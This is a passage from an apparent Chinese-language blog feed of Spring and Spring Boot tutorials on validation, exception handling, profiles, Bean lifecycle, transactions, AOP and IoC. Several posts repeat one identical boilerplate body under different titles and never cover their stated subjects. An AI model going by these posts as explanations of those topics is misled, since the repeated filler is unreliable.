串联整个请求链路</li><li>做好日志归档和清理策略</li></ol><p>我在多个项目中都遇到过日志配置不当导致的问题，合理的日志配置能大大提升排查效率。</p>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 参数校验和返回值封装</title>
      <link href="//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/"/>
      <url>//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-参数校验和返回值封装"><a href="#Spring-Boot-参数校验和返回值封装" class="headerlink" title="Spring Boot 参数校验和返回值封装"></a>Spring Boot 参数校验和返回值封装</h1><p>参数校验和返回值封装是接口质量的第一道防线。本文讲 Spring Boot 中的标准做法和常见问题。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 统一异常处理实践</title>
      <link href="//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/"/>
      <url>//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-统一异常处理实践"><a href="#Spring-Boot-统一异常处理实践" class="headerlink" title="Spring Boot 统一异常处理实践"></a>Spring Boot 统一异常处理实践</h1><p>Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 配置分环境的标准做法</title>
      <link href="//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/"/>
      <url>//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-配置分环境的标准做法"><a href="#Spring-Boot-配置分环境的标准做法" class="headerlink" title="Spring Boot 配置分环境的标准做法"></a>Spring Boot 配置分环境的标准做法</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Bean 生命周期按步骤理解</title>
      <link href="//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/"/>
      <url>//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Bean-生命周期按步骤理解"><a href="#Bean-生命周期按步骤理解" class="headerlink" title="Bean 生命周期按步骤理解"></a>Bean 生命周期按步骤理解</h1><p>Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入</p></li><li><p>@PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键</p></li><li><p>Aware 接口让 Bean 能够感知容器的上下文信息</p></li><li><p>销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring 事务失效的常见原因</title>
      <link href="//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/"/>
      <url>//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-事务失效的常见原因"><a href="#Spring-事务失效的常见原因" class="headerlink" title="Spring 事务失效的常见原因"></a>Spring 事务失效的常见原因</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring AOP 的原理和常见应用</title>
      <link href="//spring-aop-de-yuan-li-he-chang-jian-ying-yong/"/>
      <url>//spring-aop-de-yuan-li-he-chang-jian-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-AOP-的原理和常见应用"><a href="#Spring-AOP-的原理和常见应用" class="headerlink" title="Spring AOP 的原理和常见应用"></a>Spring AOP 的原理和常见应用</h1><p>AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类</p></li><li><p>切面的优先级由 @Order 注解控制，数字越小优先级越高</p></li><li><p>自调用问题的原因是内部方法调用不会经过代理对象</p></li><li><p>使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring IoC 容器：核心原理与实践价值</title>
      <link href="//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/"/>
      <url>//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-IoC-容器：核心原理与实践价值"><a href="#Spring-IoC-容器：核心原理与实践价值" class="headerlink" title="Spring IoC 容器：核心原理与实践价值"></a>Spring IoC 容器：核心原理与实践价值</h1><p>IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。</p><h2 id="什么是-IoC"><a href="#什么是-IoC" class="headerlink" title="什么是 IoC"></a>什么是 IoC</h2><p>#</p><h2 id="传统方式的问题"><a href="#传统方式的问题" class="headerlink" title="传统方式的问题"></a>传统方式的问题</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ❌ 传统方式：手动创建依赖</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">UserRepository</span> <span class="variable">userRepository</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UserRepository</span>();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userRepository.findById(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>问题</strong>：</p><ul><li>耦合度高，难以测试</li><li>依赖关系硬编码</li><li>扩展性差</li></ul><p>#</p><h2 id="IoC-方式"><a href="#IoC-方式" class="headerlink" title="IoC 方式"></a>IoC 方式</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ✅ IoC 方式：依赖注入</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserRepository userRepository;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 构造器注入</span></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserService</span><span class="params">(UserRepository userRepository)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userRepository = userRepository;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userRepository.findById(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>优势</strong>：</p><ul><li>解耦，易于测试</li><li>依赖关系由容器管理</li><li>扩展性好</li></ul><h2 id="IoC-容器的核心功能"><a href="#IoC-容器的核心功能" class="headerlink" title="IoC 容器的核心功能"></a>IoC 容器的核心功能</h2><p>#</p><h2 id="1-Bean-注册与管理"><a href="#1-Bean-注册与管理" class="headerlink" title="1. Bean 注册与管理"></a>1. Bean 注册与管理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 方式一：注解注册</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserRepository</span> &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方式二：配置类注册</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AppConfig</span> &#123;</span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> UserRepository <span class="title function_">userRepository</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">UserRepository</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-依赖注入方式"><a href="#2-依赖注入方式" class="headerlink" title="2. 依赖注入方式"></a>2. 依赖注入方式</h2><table><thead><tr><th>方式</th><th>优点</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>构造器注入</strong></td><td>强制依赖，不可变</td><td>必需依赖</td></tr><tr><td><strong>Setter 注入</strong></td><td>可选依赖，可替换</td><td>可选依赖</td></tr><tr><td><strong>字段注入</strong></td><td>简洁</td><td>测试或简单场景</td></tr></tbody></table><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 推荐：构造器注入</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserRepository userRepository;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> ProductRepository productRepository;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">OrderService</span><span class="params">(UserRepository userRepository, </span></span><br><span class="line"><span class="params">                       ProductRepository productRepository)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userRepository = userRepository;</span><br><span class="line">        <span class="built_in">this</span>.productRepository = productRepository;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-Bean-生命周期"><a href="#3-Bean-生命周期" class="headerlink" title="3. Bean 生命周期"></a>3. Bean 生命周期</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyBean</span> <span class="keyword">implements</span> <span class="title class_">InitializingBean</span>, DisposableBean &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">afterPropertiesSet</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="comment">// 初始化逻辑</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="comment">// 销毁逻辑</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="IoC-的实践价值"><a href="#IoC-的实践价值" class="headerlink" title="IoC 的实践价值"></a>IoC 的实践价值</h2><p>#</p><h2 id="1-测试友好"><a href="#1-测试友好" class="headerlink" title="1. 测试友好"></a>1. 测试友好</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 单元测试：轻松替换依赖</span></span><br><span class="line"><span class="meta">@Test</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">testGetUser</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">UserRepository</span> <span class="variable">mockRepo</span> <span class="operator">=</span> mock(UserRepository.class);</span><br><span class="line">    <span class="keyword">when</span>(mockRepo.findById(<span class="number">1L</span>)).thenReturn(<span class="keyword">new</span> <span class="title class_">User</span>());</span><br><span class="line">    </span><br><span class="line">    <span class="type">UserService</span> <span class="variable">service</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UserService</span>(mockRepo);</span><br><span class="line">    <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> service.getUser(<span class="number">1L</span>);</span><br><span class="line">    </span><br><span class="line">    assertNotNull(user);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-配置灵活"><a href="#2-配置灵活" class="headerlink" title="2. 配置灵活"></a>2. 配置灵活</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataSourceConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span 